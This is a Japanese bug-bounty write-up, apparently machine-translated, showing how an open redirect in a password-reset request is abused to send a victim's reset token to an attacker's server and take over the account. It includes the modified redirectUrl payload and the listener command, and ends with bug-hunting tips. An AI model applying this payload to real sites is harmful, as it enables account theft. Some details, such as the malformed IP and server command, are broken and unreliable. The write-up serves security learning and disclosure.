Hello there, ('ω')ノ
完全なアカウント乗っ取りへのオープンリダイレクトを。
脆弱性:
オープンリダイレクト
アカウント乗っ取り
記事:
オープンリダイレクトについて:
無効化されたリダイレクトの脆弱性は。
ユーザが信頼できるWebサイトにあるリンクにアクセスしたときに。
攻撃者がユーザを信頼できないサイトにリダイレクトできる場合に発生して。
Portswigger Lab: https://portswigger.net/academy/labs/launch/67ab900d88bcd094478d14d157338de5bf87302c124c802219a8ef29a4a65e0f?referrer =%2fweb-security%2fdom-based%2fopen-redirection%2flab-dom-open-redirection
問題を再現する手順:
1.https://redacted.vulnsite.com/loginでログインして。
次に[パスワードを忘れる]をクリックして。
下記が、脆弱なWebサイトのUIで。
2.次に、Burp Suiteを開いてリクエストを傍受して。
「パスワードを忘れた」をクリックすると。
下記が、変更する前のHTTPリクエストで。
そして、被害者の電子メールを入力して。
そのリクエストをリピーターに送信して。
次に、リクエストを下記に変更して。
{“redirectUrl”:”http://127.0.01/?reset-result={0}&reset-callback-uri={1}"}
ターミナルを開いて、下記のコマンドを実行してリクエストを受信すると。
python3 -m HTTP. server 80
3.被害者としてリセットリンクを開いたときに下記へリダイレクトされて。
http://127.0.01/Secret_reset_token
4.リセットリンクで得た応答を確認できて。
下記をそのリセットリンクに置き換えるだけでパスワードをリセットできるので。
{“redirectUrl”:”https://redacted.vulnsite.com/Secret_reset_token"}
これで、完全なアカウントの乗っ取りにつながる新しいパスワードを設定できて。
いくつかのポイント:
Vulnerability Disclosure Programでいくつかの方法論を学んで。
それを有料ベースのプログラムに適用することをお勧めして。
https://www.bugcrowd.com/glossary/vulnerability-disclosure-program-vdp/
有料プログラムに移行すると。
バグや重複が発生する可能性が低くなって、フラストレーションにつながるので。
プラットフォームの理解に時間をかけるように。
たとえば、チェックリストを作成して適用して。
つまり、POSTをGETに変更することによるCSRFや。
パスワードリセットページのSQLや。
ヘッダを変更することによるホストヘッダインジェクションなど。
Best regards, (^^ゞ